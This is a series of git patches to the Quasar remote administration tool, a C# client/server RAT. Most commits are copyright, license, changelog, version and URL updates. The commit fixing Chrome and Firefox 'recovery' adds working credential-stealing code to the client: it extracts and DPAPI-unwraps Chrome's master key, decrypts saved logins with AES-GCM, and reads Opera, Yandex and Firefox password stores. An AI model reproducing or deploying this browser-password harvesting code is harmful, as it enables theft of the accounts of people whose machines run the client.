true/pm + PerMonitorV2, PerMonitor + true + + + + + + + \ No newline at end of file From ba78a4315aad7becedf03baa4e6c4545074509dd Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 3 Jun 2020 15:13:38 +0200 Subject: [PATCH 201/229] Update copyright year --- LICENSE | 2 +- Quasar.Client/Properties/AssemblyInfo.cs | 2 +- Quasar.Common.Tests/Properties/AssemblyInfo.cs | 2 +- Quasar.Common/Properties/AssemblyInfo.cs | 2 +- Quasar.Server/Properties/AssemblyInfo.cs | 2 +- Quasar.Server/Properties/Resources.Designer.cs | 4 ++-- Quasar.Server/Properties/Resources.resx | 4 ++-- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/LICENSE b/LICENSE index 6aa69b52e..50d220dbd 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2018 MaxXor +Copyright (c) 2020 MaxXor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index da78b3804..fb12c3143 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Client.Tests")] diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index 30eb5fa63..eb13db8bd 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -7,7 +7,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index 6af200cc3..0641ccd03 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Quasar.Common.Tests")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index f579b6b3a..7001b3e6f 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -10,7 +10,7 @@ [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Quasar")] -[assembly: AssemblyCopyright("Copyright © MaxXor 2018")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: InternalsVisibleTo("Server.Tests")] diff --git a/Quasar.Server/Properties/Resources.Designer.cs b/Quasar.Server/Properties/Resources.Designer.cs index 0397db377..d0e10dad6 100644 --- a/Quasar.Server/Properties/Resources.Designer.cs +++ b/Quasar.Server/Properties/Resources.Designer.cs @@ -19,7 +19,7 @@ namespace Quasar.Server.Properties { // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "15.0.0.0")] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { @@ -273,7 +273,7 @@ internal static System.Drawing.Bitmap keyboard_magnify { /// /// Looks up a localized string similar to MIT License /// - ///Copyright (c) 2018 MaxXor + ///Copyright (c) 2020 MaxXor /// ///Permission is hereby granted, free of charge, to any person obtaining a copy ///of this software and associated documentation files (the "Software"), to deal diff --git a/Quasar.Server/Properties/Resources.resx b/Quasar.Server/Properties/Resources.resx index c6fb52331..de93dafe3 100644 --- a/Quasar.Server/Properties/Resources.resx +++ b/Quasar.Server/Properties/Resources.resx @@ -211,7 +211,7 @@ MIT License -Copyright (c) 2018 MaxXor +Copyright (c) 2020 MaxXor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal @@ -282,4 +282,4 @@ SOFTWARE. ..\Images\page_copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - + \ No newline at end of file From 361438964f384e18ffb70df754b78ed884679c9b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 3 Jun 2020 15:20:54 +0200 Subject: [PATCH 202/229] Add Be.HexEditor license --- Licenses/Be.HexEditor_license.txt | 21 +++++++++++++++++++++ Licenses/Open.Nat_license.txt | 2 -- 2 files changed, 21 insertions(+), 2 deletions(-) create mode 100644 Licenses/Be.HexEditor_license.txt diff --git a/Licenses/Be.HexEditor_license.txt b/Licenses/Be.HexEditor_license.txt new file mode 100644 index 000000000..2f8576c92 --- /dev/null +++ b/Licenses/Be.HexEditor_license.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt index 1287e04ca..cb71efb77 100644 --- a/Licenses/Open.Nat_license.txt +++ b/Licenses/Open.Nat_license.txt @@ -1,4 +1,3 @@ - The MIT License Copyright (C) 2006 Alan McGovern @@ -22,4 +21,3 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - From 6b7ac3895a76595dbbfa51860864a1c6f5037fb3 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 5 Jun 2020 17:19:51 +0200 Subject: [PATCH 203/229] Update changelog --- CHANGELOG.md | 15 +++++++++++++++ README.md | 2 +- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3901b43a4..317e6d857 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,20 @@ # Quasar Changelog +## Quasar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities (#623) +* Lots of under the hood changes for an upcoming plugin system + ## Quasar v1.3.0.0 [28.09.2016] * Added Registry Editor * Added Remote Webcam diff --git a/README.md b/README.md index 482fd7464..cad5611e3 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us * For older systems please use [Quasar version 1.3.0](https://github.com/quasar/QuasarRAT/releases/tag/v1.3.0.0) ## Compiling -Open the project in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. See below which build configuration to choose from. +Open the project in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. ## Building a client | Build configuration | Usage scenario | Description From 73567b90b2d1bdeb7a19d53cb742182215d966b1 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 5 Jun 2020 17:20:22 +0200 Subject: [PATCH 204/229] Bump version --- Quasar.Client/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common.Tests/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Common/Properties/AssemblyInfo.cs | 4 ++-- Quasar.Server/Properties/AssemblyInfo.cs | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/Quasar.Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs index fb12c3143..a86203f3c 100644 --- a/Quasar.Client/Properties/AssemblyInfo.cs +++ b/Quasar.Client/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Common.Tests/Properties/AssemblyInfo.cs b/Quasar.Common.Tests/Properties/AssemblyInfo.cs index eb13db8bd..80abfd66d 100644 --- a/Quasar.Common.Tests/Properties/AssemblyInfo.cs +++ b/Quasar.Common.Tests/Properties/AssemblyInfo.cs @@ -16,5 +16,5 @@ [assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")] // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs index 0641ccd03..ba6e4d354 100644 --- a/Quasar.Common/Properties/AssemblyInfo.cs +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -33,5 +33,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] diff --git a/Quasar.Server/Properties/AssemblyInfo.cs b/Quasar.Server/Properties/AssemblyInfo.cs index 7001b3e6f..413dd6abc 100644 --- a/Quasar.Server/Properties/AssemblyInfo.cs +++ b/Quasar.Server/Properties/AssemblyInfo.cs @@ -30,5 +30,5 @@ // Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern // übernehmen, indem Sie "*" eingeben: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.3.0.0")] -[assembly: AssemblyFileVersion("1.3.0.0")] +[assembly: AssemblyVersion("1.4.0")] +[assembly: AssemblyFileVersion("1.4.0")] \ No newline at end of file From b45ab3e1d24d4479990ca08c64d72fce83062766 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 5 Jun 2020 17:36:32 +0200 Subject: [PATCH 205/229] Update URLs --- CHANGELOG.md | 2 +- Quasar.Server/Forms/FrmAbout.cs | 2 +- QuasarRAT.sln => Quasar.sln | 0 README.md | 12 ++++++------ appveyor.yml | 2 +- 5 files changed, 9 insertions(+), 9 deletions(-) rename QuasarRAT.sln => Quasar.sln (100%) diff --git a/CHANGELOG.md b/CHANGELOG.md index 317e6d857..0b731122c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,7 +12,7 @@ * Updated dependencies * Updated message processing in client and server * Updated mouse and keyboard input to SendInput API -* Fixed file transfer vulnerbilities (#623) +* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623)) * Lots of under the hood changes for an upcoming plugin system ## Quasar v1.3.0.0 [28.09.2016] diff --git a/Quasar.Server/Forms/FrmAbout.cs b/Quasar.Server/Forms/FrmAbout.cs index d4ae6cd3f..104c1c2f0 100644 --- a/Quasar.Server/Forms/FrmAbout.cs +++ b/Quasar.Server/Forms/FrmAbout.cs @@ -6,7 +6,7 @@ namespace Quasar.Server.Forms { public partial class FrmAbout : Form { - private readonly string _repositoryUrl = @"https://github.com/quasar/QuasarRAT"; + private readonly string _repositoryUrl = @"https://github.com/quasar/Quasar"; public FrmAbout() { diff --git a/QuasarRAT.sln b/Quasar.sln similarity index 100% rename from QuasarRAT.sln rename to Quasar.sln diff --git a/README.md b/README.md index cad5611e3..786c4458e 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # Quasar [![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasarrat) -[![Downloads](https://img.shields.io/github/downloads/quasar/QuasarRAT/total.svg)](https://github.com/quasar/QuasarRAT/releases) -[![License](https://img.shields.io/github/license/quasar/QuasarRAT.svg)](LICENSE) +[![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) +[![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) **Free, Open-Source Remote Administration Tool for Windows** @@ -36,7 +36,7 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us * ... and many more! ## Download -* [Latest stable release](https://github.com/quasar/QuasarRAT/releases) (recommended) +* [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) * [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasarrat) ## Supported runtimes and operating systems @@ -50,10 +50,10 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us * Windows 7 * Windows Server 2008 * Windows Vista -* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/QuasarRAT/releases/tag/v1.3.0.0) +* For older systems please use [Quasar version 1.3.0](https://github.com/quasar/Quasar/releases/tag/v1.3.0.0) ## Compiling -Open the project in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. +Open the project `Quasar.sln` in Visual Studio 2019+ with installed .NET desktop development features and [restore the NuGET packages](https://docs.microsoft.com/en-us/nuget/consume-packages/package-restore). Once all packages are installed the project can be compiled as usual by clicking `Build` at the top or by pressing `F6`. The resulting executables can be found in the `Bin` directory. See below which build configuration to choose from. ## Building a client | Build configuration | Usage scenario | Description @@ -68,7 +68,7 @@ See [CONTRIBUTING.md](CONTRIBUTING.md) See [ROADMAP.md](ROADMAP.md) ## Documentation -See the [wiki](https://github.com/quasar/QuasarRAT/wiki) for usage instructions and other documentation. +See the [wiki](https://github.com/quasar/Quasar/wiki) for usage instructions and other documentation. ## License Quasar is distributed under the [MIT License](LICENSE). diff --git a/appveyor.yml b/appveyor.yml index 91e1f0589..c4bea759d 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -11,7 +11,7 @@ before_build: - nuget restore build: - project: QuasarRAT.sln + project: Quasar.sln parallel: true verbosity: minimal From 46c69dade4a52d4399fbca3befb18b03ac8dfee7 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 5 Jun 2020 17:44:08 +0200 Subject: [PATCH 206/229] Update AppVeyor URLs --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 786c4458e..b1971839d 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Quasar -[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasarrat) +[![Build status](https://ci.appveyor.com/api/projects/status/5857hfy6r1ltb5f2?svg=true)](https://ci.appveyor.com/project/MaxXor/quasar) [![Downloads](https://img.shields.io/github/downloads/quasar/Quasar/total.svg)](https://github.com/quasar/Quasar/releases) [![License](https://img.shields.io/github/license/quasar/Quasar.svg)](LICENSE) @@ -37,7 +37,7 @@ Quasar is a fast and light-weight remote administration tool coded in C#. The us ## Download * [Latest stable release](https://github.com/quasar/Quasar/releases) (recommended) -* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasarrat) +* [Latest development snapshot](https://ci.appveyor.com/project/MaxXor/quasar) ## Supported runtimes and operating systems * .NET Framework 4.5.2 or higher From a8213ae5cd04dae133cebc184c0bc79fa1b0551e Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 8 Jun 2020 21:18:53 +0200 Subject: [PATCH 207/229] Fix chrome and firefox recovery (closes #827) --- Quasar.Client/ILRepack.targets | 1 + Quasar.Client/Quasar.Client.csproj | 1 + .../Recovery/Browsers/ChromePassReader.cs | 8 +- .../Recovery/Browsers/ChromiumBase.cs | 20 ++--- .../Recovery/Browsers/ChromiumDecryptor.cs | 88 +++++++++++++++++++ .../Recovery/Browsers/FFDecryptor.cs | 8 ++ .../Recovery/Browsers/FirefoxPassReader.cs | 11 +-- .../Recovery/Browsers/OperaPassReader.cs | 4 +- .../Recovery/Browsers/YandexPassReader.cs | 6 +- 9 files changed, 125 insertions(+), 22 deletions(-) create mode 100644 Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs diff --git a/Quasar.Client/ILRepack.targets b/Quasar.Client/ILRepack.targets index 7904ea001..581ece8f2 100644 --- a/Quasar.Client/ILRepack.targets +++ b/Quasar.Client/ILRepack.targets @@ -7,6 +7,7 @@ + 5.6.0 + 2.4.6 diff --git a/Quasar.Client/Recovery/Browsers/ChromePassReader.cs b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs index dafa51e55..d12319b5f 100644 --- a/Quasar.Client/Recovery/Browsers/ChromePassReader.cs +++ b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs @@ -15,9 +15,11 @@ public override IEnumerable ReadAccounts() { try { - string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"); - return ReadAccounts(filePath, ApplicationName); + string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Google\\Chrome\\User Data\\Default\\Login Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Google\\Chrome\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); } catch (Exception) { diff --git a/Quasar.Client/Recovery/Browsers/ChromiumBase.cs b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs index 88c94e495..1f5948fce 100644 --- a/Quasar.Client/Recovery/Browsers/ChromiumBase.cs +++ b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs @@ -1,10 +1,8 @@ -using System; +using Quasar.Client.Recovery.Utilities; using Quasar.Common.Models; +using System; using System.Collections.Generic; -using Quasar.Client.Recovery.Utilities; using System.IO; -using System.Security.Cryptography; -using System.Text; namespace Quasar.Client.Recovery.Browsers { @@ -23,9 +21,9 @@ public abstract class ChromiumBase : IAccountReader /// Reads the stored accounts of an chromium-based application. /// /// The file path of the logins database. - /// The name of the chromium-based application. + /// The file path to the local state. /// A list of recovered accounts. - protected List ReadAccounts(string filePath, string browserName) + protected List ReadAccounts(string filePath, string localStatePath) { var result = new List(); @@ -36,6 +34,8 @@ protected List ReadAccounts(string filePath, string browserNam if (!File.Exists(filePath)) return result; + var decryptor = new ChromiumDecryptor(localStatePath); + try { sqlDatabase = new SQLiteHandler(filePath); @@ -54,9 +54,7 @@ protected List ReadAccounts(string filePath, string browserNam { var host = sqlDatabase.GetValue(i, "origin_url"); var user = sqlDatabase.GetValue(i, "username_value"); - var pass = Encoding.UTF8.GetString(ProtectedData.Unprotect( - Encoding.Default.GetBytes(sqlDatabase.GetValue(i, "password_value")), null, - DataProtectionScope.CurrentUser)); + var pass = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value")); if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user)) { @@ -65,7 +63,7 @@ protected List ReadAccounts(string filePath, string browserNam Url = host, Username = user, Password = pass, - Application = browserName + Application = ApplicationName }); } } @@ -77,7 +75,7 @@ protected List ReadAccounts(string filePath, string browserNam } else { - throw new FileNotFoundException("Can not find chrome logins file"); + throw new FileNotFoundException("Can not find chromium logins file"); } return result; diff --git a/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs new file mode 100644 index 000000000..da343e747 --- /dev/null +++ b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs @@ -0,0 +1,88 @@ +using Org.BouncyCastle.Crypto; +using Org.BouncyCastle.Crypto.Engines; +using Org.BouncyCastle.Crypto.Modes; +using Org.BouncyCastle.Crypto.Parameters; +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Quasar.Client.Recovery.Browsers +{ + /// + /// Provides methods to decrypt Chromium credentials. + /// + public class ChromiumDecryptor + { + private readonly byte[] _key; + + public ChromiumDecryptor(string localStatePath) + { + try + { + if (File.Exists(localStatePath)) + { + string localState = File.ReadAllText(localStatePath); + + var subStr = localState.IndexOf("encrypted_key") + "encrypted_key".Length + 3; + + var encKeyStr = localState.Substring(subStr).Substring(0, localState.Substring(subStr).IndexOf('"')); + + _key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + + public string Decrypt(string cipherText) + { + var cipherTextBytes = Encoding.Default.GetBytes(cipherText); + if (cipherText.StartsWith("v10") && _key != null) + { + return Encoding.UTF8.GetString(DecryptAesGcm(cipherTextBytes, _key, 3)); + } + return Encoding.UTF8.GetString(ProtectedData.Unprotect(cipherTextBytes, null, DataProtectionScope.CurrentUser)); + } + + private byte[] DecryptAesGcm(byte[] message, byte[] key, int nonSecretPayloadLength) + { + // TODO: Replace with .NET-own AES-GCM implementation in .NET Core 3.0+ + const int KEY_BIT_SIZE = 256; + const int MAC_BIT_SIZE = 128; + const int NONCE_BIT_SIZE = 96; + + if (key == null || key.Length != KEY_BIT_SIZE / 8) + throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", nameof(key)); + if (message == null || message.Length == 0) + throw new ArgumentException("Message required!", nameof(message)); + + using (var cipherStream = new MemoryStream(message)) + using (var cipherReader = new BinaryReader(cipherStream)) + { + var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength); + var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8); + var cipher = new GcmBlockCipher(new AesEngine()); + var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce); + cipher.Init(false, parameters); + var cipherText = cipherReader.ReadBytes(message.Length); + var plainText = new byte[cipher.GetOutputSize(cipherText.Length)]; + try + { + var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0); + cipher.DoFinal(plainText, len); + } + catch (InvalidCipherTextException) + { + return null; + } + return plainText; + } + } + } +} diff --git a/Quasar.Client/Recovery/Browsers/FFDecryptor.cs b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs index b51e66bbf..3bb70ac49 100644 --- a/Quasar.Client/Recovery/Browsers/FFDecryptor.cs +++ b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs @@ -14,11 +14,16 @@ public class FFDecryptor : IDisposable [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate long NssInit(string configDirectory); + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + public delegate long NssShutdown(); + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); private NssInit NSS_Init; + private NssShutdown NSS_Shutdown; + private Pk11sdrDecrypt PK11SDR_Decrypt; private IntPtr NSS3; @@ -30,9 +35,11 @@ public long Init(string configDirectory) Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); + IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); + NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); return NSS_Init(configDirectory); } @@ -100,6 +107,7 @@ protected virtual void Dispose(bool disposing) { if (disposing) { + NSS_Shutdown(); NativeMethods.FreeLibrary(NSS3); NativeMethods.FreeLibrary(Mozglue); } diff --git a/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs index 691812f70..6e53f7b1e 100644 --- a/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs +++ b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs @@ -15,11 +15,7 @@ public class FirefoxPassReader : IAccountReader /// public IEnumerable ReadAccounts() - { - string signonsFile = null; - string loginsFile = null; - bool signonsFound = false; - bool loginsFound = false; + { string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")); var logins = new List(); @@ -28,6 +24,11 @@ public IEnumerable ReadAccounts() foreach (string dir in dirs) { + string signonsFile = string.Empty; + string loginsFile = string.Empty; + bool signonsFound = false; + bool loginsFound = false; + string[] files = Directory.GetFiles(dir, "signons.sqlite"); if (files.Length > 0) { diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs index 25e4907a2..8bea095ef 100644 --- a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs +++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs @@ -17,7 +17,9 @@ public override IEnumerable ReadAccounts() { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Login Data"); - return ReadAccounts(filePath, ApplicationName); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + "Opera Software\\Opera Stable\\Local State"); + return ReadAccounts(filePath, localStatePath); } catch (Exception) { diff --git a/Quasar.Client/Recovery/Browsers/YandexPassReader.cs b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs index 427fd9b1c..35c835573 100644 --- a/Quasar.Client/Recovery/Browsers/YandexPassReader.cs +++ b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs @@ -16,8 +16,10 @@ public override IEnumerable ReadAccounts() try { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Yandex\\YandexBrowser\\User Data\\Default\\Login Data"); - return ReadAccounts(filePath, ApplicationName); + "Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data"); + string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Yandex\\YandexBrowser\\User Data\\Local State"); + return ReadAccounts(filePath, localStatePath); } catch (Exception) { From 4c4cde446d1d39d917bf2459916c3aacf89579fd Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 12 Jun 2020 14:13:43 +0200 Subject: [PATCH 208/229] Fix remote desktop crash when minimizing window (Closes #830) --- Quasar.Server/Forms/FrmRemoteDesktop.cs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs index b2803ddbf..ea3bfaf44 100644 --- a/Quasar.Server/Forms/FrmRemoteDesktop.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -280,6 +280,9 @@ private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) private void FrmRemoteDesktop_Resize(object sender, EventArgs e) { + if (WindowState == 